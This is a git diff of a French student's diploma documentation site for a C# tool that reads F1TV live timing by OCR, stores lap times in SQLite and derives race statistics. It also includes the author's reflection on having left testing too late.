    Pour ce qui est des affichages hybrides ce sont des affichages qui vont chercher des informations lives et des informations dans la base de donnée. Ils ne font pas de calculs à proprement parler mais ils affichent plus d'informations que ce que montre la F1TV. Cela veut dire qu'ils représentent un début de plusvalue par rapport à l'alternative qu'est la page DATA de la F1TV.

    +

    Ils ne sont pas beaucoup plus durs à implémenter mais demandent de faire des requêtes à la base de donnée.

    +

    Comme exemple d'affichage hybride on a l'affichage des cinq derniers tours d'un pilote. C'est un affichage qui ne demande aucun calcul mais qui permet deja de se rendre compte de si le pilote est enn train de perdre ou gagner du temps ou si il est constant, ce qui n'est pas possible actuellement avec la F1TV à moins d'avoir une excellente mémoire.

    +
    + +
    "Fenêtre d'informations à propos d'un pilote"
    +
    +

    Voici un exemmple du type de code necessaire pour afficher ce genre de données:

    +
    public List<(int LapTime, int Lap)> GetDriverLaptimes(string driverName,int numberOfLaptimes)
+{
+    int driverId = GetDriverID(driverName);
+    List<(int LapTime, int Lap)> lapData = new List<(int LapTime, int Lap)>();
+    string selectQuery = "Select LapTime,Lap from Stats WHERE DriverID = @driverID ORDER BY Lap DESC LIMIT @limit";
+    using (var command = new SQLiteCommand(selectQuery, Connection))
+    {
+    command.Parameters.AddWithValue("@driverID", driverId);
+    command.Parameters.AddWithValue("@limit", numberOfLaptimes);
+
+    SQLiteDataReader reader = command.ExecuteReader();
+    while (reader.Read())
+    {
+      int lapTime = reader.GetInt32(0);
+      int lap = reader.GetInt32(1); 
+      lapData.Add((lapTime, lap));
+    }
+  }
+  return lapData;
+}
+
+public void Display(){
+  List<(int LapTime, int Lap)> lapsInfos = Storage.GetDriverLaptimes(driverName, 5);
+  int id = 0;
+  foreach ((int LapTime, int Lap) lapData in lapsInfos){
+    Labels[id].Text = LapTime;
+    id++;
+  }
+}
+
    +

    Note: Le code montré ici n'est pas forcément le code utilisé dans le projet.

    +

    D'une certaine facon les fenêtres de bataille et de dépassements sont aussi des hybrides.

    +
    + +
    "Exemple fenêtre des batailles"
    +
    +

    Ici ce sont les batailles qui sont représentées. Aucune donnée n'est calculée, c'est litterallement directement les données de la F1TV, mais la nuance est qu'on ne montre que les pilotes qui sont en train de se battre et que on leur assigne une couleur selon à quel point ils sont proches. On a une plus-value sur la F1TV sans pour autant faire de monstres calculs.

    +

    Pour info, les pilotes considèrés comme êtant en train de se battre sont les pilotes à moins de trois secondes les uns des autres et les couleurs sont suivantes :

    +
      +
    • Vert : Dans la zone de DRS (Moins d'une seconde)
      • +
    • Jaune : Plus d'une seconde
      • +
    • Noir : Plus de deux secondes
      • +
    +
    + +
    "Exemple fenêtre des dépassements"
    +
    +

    La c'est l'historique des dépassements qui est affiché. On pourrait presque dire que c'est un affichage complêtement calculé car ce ne sont pas des informations disponibles directement sur la F1TV cependant je dirais que cela reste un hybride car il n'y a aucuns calculs. On regarde juste les différences entre l'ancienne position d'un pilote et la nouvelle et on affiche les changements.

    +
    Affichage totalement calculé
    +

    L'affichage complêtement calculé est un type d'affichage qui ne montre aucune information trouvée sur la page de la F1TV. C'est le premier affichage à traiter l'information qu'il trouve et il retourne des informations nouvelles. La nuance avec les affichages prédictif est qu'il ne crée pas réellement de l'information, il la déduit.

    +

    Le but est de prendre un certain nombre d'informations trouvées sur la page de la F1TV et de calculer des choses pour faire ressortir des tendances à l'utilisateur. Cependant on reste sur des informations factuelles. Ce sont des infos déduites que techniquement unn humain avec une bonne mémoire et fort en calcul mental pourrait faire. Mais la c'est fait automatiquement pour tous les pilotes et c'est affiché de sorte à faire ressortir les valeurs spéciales.

    +

    Comme c'est un peu plus abstrait, je pense qu'un exemple vaut mieux que 1000 mots.

    +
    + +
    "Exemple de fenêtre d'informations totalement calculées"
    +
    +

    Ci dessus on peut voir un bon exemple. C'est une fenêtre qui montre qui sont les pilotes les plus rapides et les moins rapides et qui montre la différence de temps au tour.

    +

    Cette information est totalement déduite et n'est en aucun cas trouvable sur la F1TV mais elle n'est pas inventée. Elle est simplement calculée.

    +

    La formule est assez simple, je prend les cinq derniers temps au tour de tous les pilotes. Je fais une moyenne qui donne un temps. Et ensuite je trie les pilotes en fonction de ce temps et je n'affiche que les cinq plus rapide et les cinq plus lents. Ensuite il suffit de prendre le temps le plus rapide et faire une petite soustraction pour avoir l'écart.

    +

    C'est une stat assez intéressante car elle lisse les différences d'un tour à l'autre et fait ressortir une tendance. On peut voir pour le grand prix de monaco 2023 par exemple, le moment ou les pneus pluie deviennent plus intéressants que les pneus secs car on voit que les pilotes les plus rapides sont les pilotes de fond de grille qui ont chaussé les pneus pluie en premier tandis que les plus lents sont les pilotes sur pneus secs vieux.

    +

    Voici un bout de code qui s'occupe de faire les calculs :

    +
    List<(int avg, string driverName)> averages = new List<(int avg, string driverName)>();
+            foreach (DriverData driver in LiveDriverDataLogs[LiveDriverDataLogs.Count - 1])
+            {
+                //We want to recover the last 5 lap times 
+                List<(int lapTime,int lap)> laps = Storage.GetDriverLaptimes(driver.Name,5);
+                if(laps.Count > 0)
+                {
+                    int avg = 0;
+                    foreach ((int lapTime, int lap) lap in laps)
+                    {
+                        avg += lap.lapTime;
+                    }
+                    avg = avg / laps.Count;
+                    averages.Add((avg, driver.Name));
+                }
+            }
+
    +

    Affichage prédictif

    +

    C'est ici que ca devient vraiment dommage, le projet a mannqué de temps pour implémenter des affichages prédictifs mais le potentiel est la !

    +

    Un affichage prédictif est un affichage qui crée des informations à partir des infos qu'il a mais qui fait plus qu'un calcul. Le but est de tenter de deviner quelque chose.

    +

    Voici des exemples d'affichages prédictifs qui pourraient être mis en place averc l'architecture actuelle du projet :

    +
      +
    • Si un pilote a des pneus depuis plus de 20 tours et que son temps au tour est en chute libre depuis cinq tours. Alors ce pilote va peut-être devoir s'arrêter.
      • +
    • Si un pilote tourne une seconde au tour plus vite que le pilote devant lui et que ce pilote est à 10 secondes devant, alors il devrait pouvoir le rattraper d'ici dix tours.
      • +
    • Si un arrêt au stand est en moyenne de 23 secondes, alors un pilote 3ème ressortirais potentiellement 7ème si il s'arrête maintenant.
      • +
    +

    Tous ces exemples sont des mini algorythmes prédictifs qui pourraient être implémentés assez facilement dans l'architecture actuelle du projet et pourraient apporter une immense plus-value si ils sont bien paramêtrés.

    +

    On peut même imaginer que l'algorythme se corrige tout seul si il voit qu'il a eu tort pour que les course suivante il puisse mieux s'en sortir.

    +

    Les possibilitées sont infinies !

    Tests

    -

    [A remplir au fur et à mesure de la création des tests]

    +

    Alors la on arrive à la GROSSE erreur de ce projet...

    +

    Si je ne pouvais changer qu'une seule chose à ma facon de faire le projet après coup c'est ici que je ferai le changement.

    +

    Les tests sont d'une importance absolument capitale mais si ils sont bien faits, c'est surtout un moyen ultra efficace de vérifier que du nouveau code est performant et est beaucoup plus pratique à utiliser.

    +

    Je pense sans rire que j'aurais pu gagner plusieurs jours de travail si j'avais travaillé différemment vis-a-vis des tests.

    +

    Comment ca c'est passé

    +

    Dès la création du planning prévisionnel j'ai fait une erreur capitale. J'ai mis les tests en fin de developpement des features... Et je ne leur ai laissé que très peu de temps tout en les mettant au milieu du chemin critique ce qui les rends particulièrement vulnérables si une tâche du chemin critique est retardée.

    +

    En fait dans ce projet je voulais surtout éviter de faire comme certains projets que l'on a pu avoir pendant notre formation. C'est à dire que je ne voulais surtout pas oublier la doc. Alors j'ai agencé le projet pour commencer par les fondations de la doc, puis en incluant les périodes de programmation et entre ces dernière ajouter des Tests dans les trous. Le soucis c'est que du coup les projets étaient un peu le dernier truc dont je devais me soucier ce qui a été une très mauvaise idée.

    +

    Je me suis retrouvé à devoir mordre sur les jours de tests car les tâches de programmation mettaient plus de temps que prévu (qui elles-même auraient pû être plus courte avec une bonne utilisation des tests) et je mme suis retrouvé à passer outre les tests pour avancer sur le reste du projet.

    +

    J'ai donc du en panique à la toute fin du projet construire quelques tests "unitaires" dont l'utilité est très limitée car tout le travail a déja été fait et que vu la complexité qu'a pris le projet, faire de vrais tests unitaires est devenu un peu trop compliqué pour valoir le coup.

    +

    Les seuls tests "unitaires" (Je l'écris entre quotes car ce ne sont pas vraiment des tests unitaires mais plutôt des tests tout courts car ils ne sont pas spécifiques) qu'il y a dans le projet final sont des tests exclusivement tournés sur l'OCR. Ils sont déja vraiment pratiques car cela me permet de tester d'autres algorythmes d'OCR et voir si les résultats sont meilleurs ou non mais c'est juste un peu trop tard quoi...

    +

    Les tests unitaires que j'ai implémentés sont un peu tous pareils au niveau du fonctionnement :

    +
      +
    1. On choisit une image dans une liste d'images préparées qui sont scensée représenter le type de données rencontrées par l'application en temps normal
      2. +
    2. On lis le nom de l'image que j'ai mis manuellement en indiquant ce qui était marqué sur l'image
      3. +
    3. On fait un coup d'OCR sur l'image et on compare ce résultat avec la valeur que l'on est scensé retrouver
      4. +
    +

    En pratique on est sur un code de ce style :

    +
    [TestMethod()]
+public void SectorOCR_Test()
+{
+  string directory = @"./../../TestImages/Sectors/";
+  foreach (string file in Directory.GetFiles(directory))
+  {
+    Bitmap image = (Bitmap)Image.FromFile(file);
+    DriverSectorWindow sectorsWindow = new DriverSectorWindow(image, new Rectangle(0, 0, image.Width, image.Height), 1, true);
+    string[] paths = file.Split('/');
+    string fileName = paths[paths.Length - 1];
+    fileName = fileName.Replace(".png", "");
+
+    int timeMS = (int)sectorsWindow.DecodePng();
+    string time = Reader.ConvertMsToTime(timeMS);
+
+    string[] checkDigits = fileName.Split('_');
+    string[] digitsToCheck = time.Split(':');
+
+    if (time == "0:00:000")
+    {
+      Assert.AreEqual(0, Convert.ToInt32(checkDigits[0]));
+    }
+    else
+    {
+      //The ConvertMSToTime will always return three chars so we need to make the checkDigits be also three chars
+      while (checkDigits.Length != 3)
+        checkDigits = new[] { "0" }.Concat(checkDigits).ToArray();
+
+      for (int i = 0; i < checkDigits.Length; i++)
+      {
+        //We need to convert to int first because sometimes we have "08" and "8" and in string its not the same but in int it is
+        Assert.AreEqual(Convert.ToInt32(checkDigits[i]), Convert.ToInt32(digitsToCheck[i]));
+      }
+    }
+  }
+}
+
    +

    Tout le code supplémentaire qui ne fait pas partie des étapes citées est juste la pour manipuler le format des résultats pour qu'il soit comparable.

    +
    + +
    "Exemple d'échantillons pour les tests"
    +
    +

    Ce qui est pratique avec cette approche c'est qu'il est très facile de rajouter des cas spécifiques et voir comment le programme les gère. +Si je vois que un certain nombre est souvent mal reconnu je peux faire exprès de le mettre dans le dossier et modifier mon code d'OCR jusqu'à ce que le test passe.

    +

    Si j'avais eu plus de temps j'aurais sûrement pu ajouter de vrais tests unitaires qui testent des fonctions très précises. Par exemple verifier que les différentes Windows sont bien appelées et que les zones se créent correctement ou même plus simplement que la lecture du JSON au démarrage marche bien.

    +

    Il faut savoir que même si je n'ai pas eu l'occasion d'écrire beaucoup de tests sous forme de code. Toute la phase de développement de l'OCR j'ai passé plus d'une heure par jour à analyser les résultats. Je gardais toutes les images des WINDOWS et je notais dans le nom du fichier ce que l'algorythme trouvais et je passais en revue manuellement les centaines de résultats pour isoler ceux qui posaient problème.

    +

    C'est comme ca que je me suis rendu compte par exemple que, avec cette police, les 4 et les 1 étaient souvent confondus. Donc même si les tests automatisés sont clairement insuffisant par rapport à ce que j'aurais peut-être du faire, j'ai passé énormément de temps à tester mon application.

    +

    Comment ca aurait du se passer

    +

    Si je devais refaire ce projet aujourd'hui je pense que j'utiliserais un peu la même technique que pour la doc. J'aurais mis les tâches de Tests directement au début du projet et j'aurais determiné le squelette de l'application par la même occasion.

    +

    Je pense que j'aurais mis trois jours pour écrire tous les tests dont j'aurais besoin et j'aurais fait une stratégie de TDD (Test Driven Developpement) par ce que je pense que ca marcherait vraiment super bien sur ce type de projet.

    +

    J'aurais pris je pense 5 une dixaine d'images complêtes de la F1TV de plusieurs GP différents et j'aurais mis toutes les fenêtres découpées dans des fichiers avec des tests comme ceux que j'ai fait pour ce projet. Et comme ca je saurai que mon algo est bon uniquement quand il aura réussi à passer tous les tests.

    +

    Cela règlerait le soucis que j'ai eu le plus : Me retrouver à devoir changer l'OCR 5 fois par ce que à chaque fois que je développe une nouvelle feature je me rends compte d'une faiblesse mon algorythme...

    +

    Non seulement j'aurai eu beaucoup plus de facilité à avancer sur le projet, mais en plus je pense que cela m'aurait fait gagner énormément de temps non seulement car je n'ai plus à tester tout à la main mais en plus par ce que ca veut dire que quand l'OCR passe les tests je n'ai plus jamais à m'en soucier.

    +

    Lecons

    +

    Je pense que dans mes futurs projets je mettrai les tests en début de projet plutôt que à la fin et je ferai en sorte qu'ils fassent partie du chemin critique et que je ne puisse pas passer à côté sous pretexte que "Je n'ai pas le temps".

    +

    Ecrire des tests c'est jamais marrant et c'est encore moins marrant quand ils nous empêchent d'avancer. Mais je suis convaincu que au final c'est un gain de temps et de sérénité incontournable.

    Résumé des difficultés techniques

    [A remplir au fur et à mesure dans la seconde moitié du travail de diplôme]

    @@ -1709,12 +3129,16 @@ C'est une étape très importante pour l'OCR car elle permet (si bien faite) d'i

    Ethique du projet

    [A remplir à la fin du projet pour parler des questions ethiques du projet (Ex: Utilisation potentiellement abusive de la F1Tv ou L'histoire des cookies)]

    +

    Utilisation de Chat GPT

    +
    +

    [A remplir à la fin du projet]

    Améliorations futures

    [A remplir dans les dernières semaines du travail de diplôme]

    Conclusion

    [A remplir la dernière semaine du travail de diplôme]

    +

    Notes de code

    diff --git a/site/jdb.html b/site/jdb.html index 0b2bed6..215f71c 100644 --- a/site/jdb.html +++ b/site/jdb.html @@ -227,6 +227,96 @@ Mardi 9 Mai 2023 +
  • + + Mercredi 10 Mai 2023 + +
    • +
  • + + Jeudi 11 Mai 2023 + +
    • +
  • + + vendredi 12 Mai 2023 + +
    • +
  • + + Lundi 15 Mai 2023 + +
    • +
  • + + Mardi 16 Mai 2023 + +
    • +
  • + + Mercredi 17 Mai 2023 + +
    • +
  • + + Jeudi 18 Mai 2023 + +
    • +
  • + + Lundi 22 Mai 2023 + +
    • +
  • + + Mardi 23 Mai 2023 + +
    • +
  • + + Mercredi 24 Mai 2023 + +
    • +
  • + + Jeudi 25 Mai 2023 + +
    • +
  • + + Vendredi 26 Mai 2023 + +
    • +
  • + + Grand Prix de Monaco + +
    • +
  • + + Lundi 29 Mai 2023 + +
    • +
  • + + Mardi 30 Mai 2023 + +
    • +
  • + + Mercredi 31 Mai 2023 + +
    • +
  • + + Jeudi 1 Juin 2023 + +
    • +
  • + + Vendredi 2 Juin 2023 + +
    • @@ -248,38 +338,18 @@
  • - - DriverGapToLeaderWindow.cs - -
    • -
  • - - DriverPositionWindow.cs - -
    • -
  • - - F1TVEmulator.cs - -
    • -
  • - - Program.cs - -
    • -
  • - - Window.cs - -
    • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
    • +
  • + + DriverNameWindow.cs
  • @@ -288,13 +358,28 @@
  • + + F1TVEmulator.cs + +
    • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
    • +
  • + + Settings.Designer.cs + +
    • +
  • + + SqliteStorage.cs
  • @@ -303,13 +388,23 @@
  • + + DataWrapper.cs + +
    • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
    • +
  • + + DriverPositionWindow.cs
  • @@ -323,11 +418,21 @@
  • + + Reader.cs + +
    • +
  • Settings.cs
  • + + Window.cs + +
    • +
  • recoverCookiesCSV.py @@ -449,6 +554,96 @@ Mardi 9 Mai 2023
    • +
  • + + Mercredi 10 Mai 2023 + +
    • +
  • + + Jeudi 11 Mai 2023 + +
    • +
  • + + vendredi 12 Mai 2023 + +
    • +
  • + + Lundi 15 Mai 2023 + +
    • +
  • + + Mardi 16 Mai 2023 + +
    • +
  • + + Mercredi 17 Mai 2023 + +
    • +
  • + + Jeudi 18 Mai 2023 + +
    • +
  • + + Lundi 22 Mai 2023 + +
    • +
  • + + Mardi 23 Mai 2023 + +
    • +
  • + + Mercredi 24 Mai 2023 + +
    • +
  • + + Jeudi 25 Mai 2023 + +
    • +
  • + + Vendredi 26 Mai 2023 + +
    • +
  • + + Grand Prix de Monaco + +
    • +
  • + + Lundi 29 Mai 2023 + +
    • +
  • + + Mardi 30 Mai 2023 + +
    • +
  • + + Mercredi 31 Mai 2023 + +
    • +
  • + + Jeudi 1 Juin 2023 + +
    • +
  • + + Vendredi 2 Juin 2023 + +
    • @@ -463,30 +658,30 @@

    Nous avons eu les différents fichiers nescessaires à la bonne réalisation du projet et je me suis mis à faire les fichiers nescessaires

    La première chose a été de faire ce mkdocs dans lequel j'ai mis un fichier yml plutôt standart qui risque de changer au fur et à mesure.

    Voici le premier yml :

    -
    site_name: Documentation Diplome
-theme:
-        name: material
-        palette:
-        # Palette toggle for light mode
-        - media: "(prefers-color-scheme: light)"
-          scheme: default
-          toggle:
-          icon: material/brightness-7
-          name: Switch to dark mode
-
-        # Palette toggle for dark mode
-        - media: "(prefers-color-scheme: dark)"
-          scheme: slate
-          toggle:
-          icon: material/brightness-4
-          name: Switch to light mode
-markdown_extensions:
-  - attr_list
-  - md_in_html
-plugins:
-  - glightbox
-  - with-pdf
-
    +
    site_name: Documentation Diplome
+theme:
+        name: material
+        palette:
+        # Palette toggle for light mode
+        - media: "(prefers-color-scheme: light)"
+          scheme: default
+          toggle:
+          icon: material/brightness-7
+          name: Switch to dark mode
+
+        # Palette toggle for dark mode
+        - media: "(prefers-color-scheme: dark)"
+          scheme: slate
+          toggle:
+          icon: material/brightness-4
+          name: Switch to light mode
+markdown_extensions:
+  - attr_list
+  - md_in_html
+plugins:
+  - glightbox
+  - with-pdf
+

    Voici un example de à quoi ca ressemble en forme de site

    @@ -544,48 +739,48 @@ Examples : https://ironsoftware.com/csharp/ocr/examples/simple-csharp-ocr-tesser

    Il va falloir faire des tests avec tous les noms et les chiffres pour trouver le plus efficace.

    Bon malheureusment Iron OCR semblait être une bonne alternative mais c'est une librairie privée qui demande une license pour être utilisée. Il va falloir trouver autre chose.

    En utilisant la librairie "Tesseract" qui existe on peut faire de la reconnaissance de texte avec un code plutôt simple :

    -
    TesseractEngine engine = new TesseractEngine(tessDataFolder.FullName,"eng", EngineMode.Default);
-
-var tessImage = Pix.LoadFromMemory(ImageToByte(sample));
-
-Page page = engine.Process(tessImage);
-string text = page.GetText();
-
    +
    TesseractEngine engine = new TesseractEngine(tessDataFolder.FullName,"eng", EngineMode.Default);
+
+var tessImage = Pix.LoadFromMemory(ImageToByte(sample));
+
+Page page = engine.Process(tessImage);
+string text = page.GetText();
+

    Voici la methode ImageToByte : https://stackoverflow.com/questions/7350679/convert-a-bitmap-into-a-byte-array

    -
    public static byte[] ImageToByte(Image img)
-{
-    using (var stream = new MemoryStream())
-    {
-        img.Save(stream, System.Drawing.Imaging.ImageFormat.Png);
-            return stream.ToArray();
-        }
-}
-
    +
    public static byte[] ImageToByte(Image img)
+{
+    using (var stream = new MemoryStream())
+    {
+        img.Save(stream, System.Drawing.Imaging.ImageFormat.Png);
+            return stream.ToArray();
+        }
+}
+

    Voici le code pour traiter plusieurs textes sur une seule image :

    -
    Page page = engine.Process(tessImage);
-            // Get the iterator for the page layout
-            using (var iter = page.GetIterator())
-            {
-                // Loop over the elements of the page layout
-                iter.Begin();
-                do
-                {
-                    // Declare a Rect variable to hold the bounding box
-                    Rect boundingBox;
-
-                    // Get the bounding box for the current element
-                    if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox))
-                    {
-                        g.DrawRectangle(Pens.Red,new Rectangle(boundingBox.X1,boundingBox.Y1,boundingBox.Width,boundingBox.Height));
-                    }
-
-                    // Get the text for the current element
-                    var text = iter.GetText(PageIteratorLevel.Word);
-                    tbxResult.Text += text.ToUpper() + Environment.NewLine;
-                } while (iter.Next(PageIteratorLevel.Word));
-            }
-
    +
    Page page = engine.Process(tessImage);
+            // Get the iterator for the page layout
+            using (var iter = page.GetIterator())
+            {
+                // Loop over the elements of the page layout
+                iter.Begin();
+                do
+                {
+                    // Declare a Rect variable to hold the bounding box
+                    Rect boundingBox;
+
+                    // Get the bounding box for the current element
+                    if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox))
+                    {
+                        g.DrawRectangle(Pens.Red,new Rectangle(boundingBox.X1,boundingBox.Y1,boundingBox.Width,boundingBox.Height));
+                    }
+
+                    // Get the text for the current element
+                    var text = iter.GetText(PageIteratorLevel.Word);
+                    tbxResult.Text += text.ToUpper() + Environment.NewLine;
+                } while (iter.Next(PageIteratorLevel.Word));
+            }
+

    Etonnament, avec plus de texte, des noms qui étaient autrefois mal reconnus sont parfaitement interprêtés.

    Par exemple voici un exemple de reconnaisance de texte sur tous les pilotes :

    @@ -626,30 +821,30 @@ https://stackoverflow.com/questions/7350679/convert-a-bitmap-into-a-byte-arrayJ'ai essayé de mettre l'engine de Tesseract en mode "JPN" comme Tsunoda est un nom japonais mais sans succès j'ai le même résultat.

    Comme la résolution est meilleure je me suis dit que peut être le filtre de passage en noir et blanc pourrait aider.

    J'ai écrit cette petite methode pour convertir l'image en noir et blanc :

    -
    private static Bitmap ConvertToBlackAndWhite(Bitmap inputBmp)
-        {
-            const int BLACK_TO_WHITE_TRESHOLD = 200;
-            Bitmap result = new Bitmap(inputBmp.Width, inputBmp.Height);
-
-            for (int y = 0; y < inputBmp.Height; y++)
-            {
-                for (int x = 0; x < inputBmp.Width; x++)
-                {
-                    Color pixelColor = inputBmp.GetPixel(x,y);
-                    if (pixelColor.R <= BLACK_TO_WHITE_TRESHOLD && pixelColor.G <= BLACK_TO_WHITE_TRESHOLD && pixelColor.B <= BLACK_TO_WHITE_TRESHOLD)
-                    {
-                        pixelColor = Color.FromArgb(0,0,0);
-                    }
-                    else
-                    {
-                        pixelColor = Color.FromArgb(255,255,255);
-                    }
-                    result.SetPixel(x,y,pixelColor);
-                }
-            }
-            return result;
-        }
-
    +
    private static Bitmap ConvertToBlackAndWhite(Bitmap inputBmp)
+        {
+            const int BLACK_TO_WHITE_TRESHOLD = 200;
+            Bitmap result = new Bitmap(inputBmp.Width, inputBmp.Height);
+
+            for (int y = 0; y < inputBmp.Height; y++)
+            {
+                for (int x = 0; x < inputBmp.Width; x++)
+                {
+                    Color pixelColor = inputBmp.GetPixel(x,y);
+                    if (pixelColor.R <= BLACK_TO_WHITE_TRESHOLD && pixelColor.G <= BLACK_TO_WHITE_TRESHOLD && pixelColor.B <= BLACK_TO_WHITE_TRESHOLD)
+                    {
+                        pixelColor = Color.FromArgb(0,0,0);
+                    }
+                    else
+                    {
+                        pixelColor = Color.FromArgb(255,255,255);
+                    }
+                    result.SetPixel(x,y,pixelColor);
+                }
+            }
+            return result;
+        }
+

    Rien de bien dingue mais cela fonctionne et je peux jouer avec le BLACK_AND_WHITE_TRESHOLD pour changer son comportement.

    J'ai dabord testé avec un treshold de 100 et le programme a réussi à me sortir Tsunoda en deux mots ce qui était déja très encourageant.

    Et après avoir augmenté le Treshold... Tada :

    @@ -758,107 +953,107 @@ https://stackoverflow.com/questions/7350679/convert-a-bitmap-into-a-byte-array"Diagramme d'explications"

    Voici comment se présente le squellette d'une Zone :

    -
    public class Zone
-    {
-        private Bitmap FullImage;
-        private List<Zone> Zones;
-        private List<Window> Windows;
-
-        private Rectangle _bounds;
-        public Rectangle Bounds { get => _bounds; private set => _bounds = value; }
-
-        public Bitmap ZoneImage
-        {
-            get
-            {
-                Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height);
-                Graphics g = Graphics.FromImage(sample);
-                g.DrawImage(FullImage, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel);
-                return sample;
-            }
-        }
-
-        public Zone(Image fullImage, Rectangle bounds)
-        {
-            FullImage = (Bitmap)fullImage;
-            Init(bounds);
-        }
-        public Zone(Bitmap fullImage, Rectangle bounds)
-        {
-            FullImage = fullImage;
-            Init(bounds);
-        }
-        private void Init(Rectangle bounds)
-        {
-            Bounds = bounds;
-            Zones = new List<Zone>();
-            Windows = new List<Window>();
-        }
-        public void AddZone(Rectangle bounds)
-        {
-            if(Fits(bounds))    
-                Zones.Add(new Zone(ZoneImage,bounds));
-        }
-        public void AddWindow(Rectangle bounds)
-        {
-            if (Fits(bounds))
-                Windows.Add(new Window(ZoneImage,bounds));
-        }
-        private bool Fits(Rectangle inputRectangle)
-        {
-            if (inputRectangle.X + inputRectangle.Width > Bounds.Width || inputRectangle.Y + inputRectangle.Height > Bounds.Height || inputRectangle.X < 0 || inputRectangle.Y < 0)
-            {
-                return false;
-            }
-            else
-            {
-                return true;
-            }
-        }
-    }
-
    +
    public class Zone
+    {
+        private Bitmap FullImage;
+        private List<Zone> Zones;
+        private List<Window> Windows;
+
+        private Rectangle _bounds;
+        public Rectangle Bounds { get => _bounds; private set => _bounds = value; }
+
+        public Bitmap ZoneImage
+        {
+            get
+            {
+                Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height);
+                Graphics g = Graphics.FromImage(sample);
+                g.DrawImage(FullImage, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel);
+                return sample;
+            }
+        }
+
+        public Zone(Image fullImage, Rectangle bounds)
+        {
+            FullImage = (Bitmap)fullImage;
+            Init(bounds);
+        }
+        public Zone(Bitmap fullImage, Rectangle bounds)
+        {
+            FullImage = fullImage;
+            Init(bounds);
+        }
+        private void Init(Rectangle bounds)
+        {
+            Bounds = bounds;
+            Zones = new List<Zone>();
+            Windows = new List<Window>();
+        }
+        public void AddZone(Rectangle bounds)
+        {
+            if(Fits(bounds))    
+                Zones.Add(new Zone(ZoneImage,bounds));
+        }
+        public void AddWindow(Rectangle bounds)
+        {
+            if (Fits(bounds))
+                Windows.Add(new Window(ZoneImage,bounds));
+        }
+        private bool Fits(Rectangle inputRectangle)
+        {
+            if (inputRectangle.X + inputRectangle.Width > Bounds.Width || inputRectangle.Y + inputRectangle.Height > Bounds.Height || inputRectangle.X < 0 || inputRectangle.Y < 0)
+            {
+                return false;
+            }
+            else
+            {
+                return true;
+            }
+        }
+    }
+

    Le but est ensuite de créer différent types de Zones.

    Par exemple la MainZone devra découper son contenu en 20 parties égales pour tenter de chopper les 20 pilotes. Il serait cool de trouver un moyen de calibrer automatiquement.

    C'est peut-être possible de calibrer avec de la reconnaissance de texte, on peut essayer de lancer la reconnaissance et voir ou on trouve du texte avec un peu de chance cela pourrait donner les positions et avec ca on peut peut-être determiner des lignes.

    Et voici le squelette d'une window générique

    -
    using System;
-using System.Collections.Generic;
-using System.Linq;
-using System.Text;
-using System.Threading.Tasks;
-using System.Drawing;
-
-namespace OCR_tester
-{
-    public class Window
-    {
-        private Bitmap FullImage;
-
-        private Rectangle _bounds;
-        public Rectangle Bounds { get => _bounds; private set => _bounds = value; }
-
-        public Bitmap WindowImage
-        {
-            get
-            {
-                Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height);
-                Graphics g = Graphics.FromImage(sample);
-                g.DrawImage(FullImage, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel);
-                return sample;
-            }
-        }
-        public Window(Bitmap fullImage, Rectangle bounds)
-        {
-            FullImage = fullImage;
-            Bounds = bounds;
-        }
-        public virtual void RecoverInformations()
-        {
-            //Each Window type will have to implement its own way to recover the informations stored in the Window Image
-        }
-    }
-}
-
    +
    using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using System.Drawing;
+
+namespace OCR_tester
+{
+    public class Window
+    {
+        private Bitmap FullImage;
+
+        private Rectangle _bounds;
+        public Rectangle Bounds { get => _bounds; private set => _bounds = value; }
+
+        public Bitmap WindowImage
+        {
+            get
+            {
+                Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height);
+                Graphics g = Graphics.FromImage(sample);
+                g.DrawImage(FullImage, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel);
+                return sample;
+            }
+        }
+        public Window(Bitmap fullImage, Rectangle bounds)
+        {
+            FullImage = fullImage;
+            Bounds = bounds;
+        }
+        public virtual void RecoverInformations()
+        {
+            //Each Window type will have to implement its own way to recover the informations stored in the Window Image
+        }
+    }
+}
+

    Chaque Window pourra ainsi elle même implémenter la récupèration d'informations. La facon de les retourner/stocker est encore un peu floue.

    Par exemple pour un temps au tour on peut imaginer que il fait une petite vérification dans l'objet pilote et dans le tableau des tours si il n'y a pas deja une valeur et si il n'y en a pas une alors il peut l'ajouter.

    Maintenant je vais essayer de créer une Main window qui se calibre toute seule.

    @@ -901,62 +1096,62 @@ namespace OCR_tester

    Maintenant il faut que j'implémente un système un peu similaire pour créer des windows.

    Voici la methode que j'ai créé pour l'autocalibration :

    -
    public void AutoCalibrate()
-        {
-            List<Rectangle> detectedText = new List<Rectangle>();
-            Zones = new List<Zone>();
-
-            TesseractEngine engine = new TesseractEngine(Window.tessDataFolder.FullName, "eng", EngineMode.Default);
-            Image image = ZoneImage;
-            var tessImage = Pix.LoadFromMemory(Window.ImageToByte(image));
-
-            Page page = engine.Process(tessImage);
-            using (var iter = page.GetIterator())
-            { 
-                iter.Begin();
-                do
-                {
-                    Rect boundingBox;
-                    if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox))
-                    {
-                        //var text = iter.GetText(PageIteratorLevel.Word).ToUpper();
-                        //We remove all the rectangles that are definitely too big
-                        if (boundingBox.Height < image.Height / NUMBER_OF_DRIVERS) {
-                            //Now we add a filter to only get the boxes in the right because they are much more reliable in size
-                            if (boundingBox.X1 > image.Width / 2)
-                            {
-                                //Now we check if an other square box has been found roughly in the same y axis
-                                bool match = false;
-                                //The tolerance is roughly half the size that a window will be
-                                int tolerance = (image.Height / NUMBER_OF_DRIVERS) / 2; 
-
-                                foreach (Rectangle rect in detectedText)
-                                {
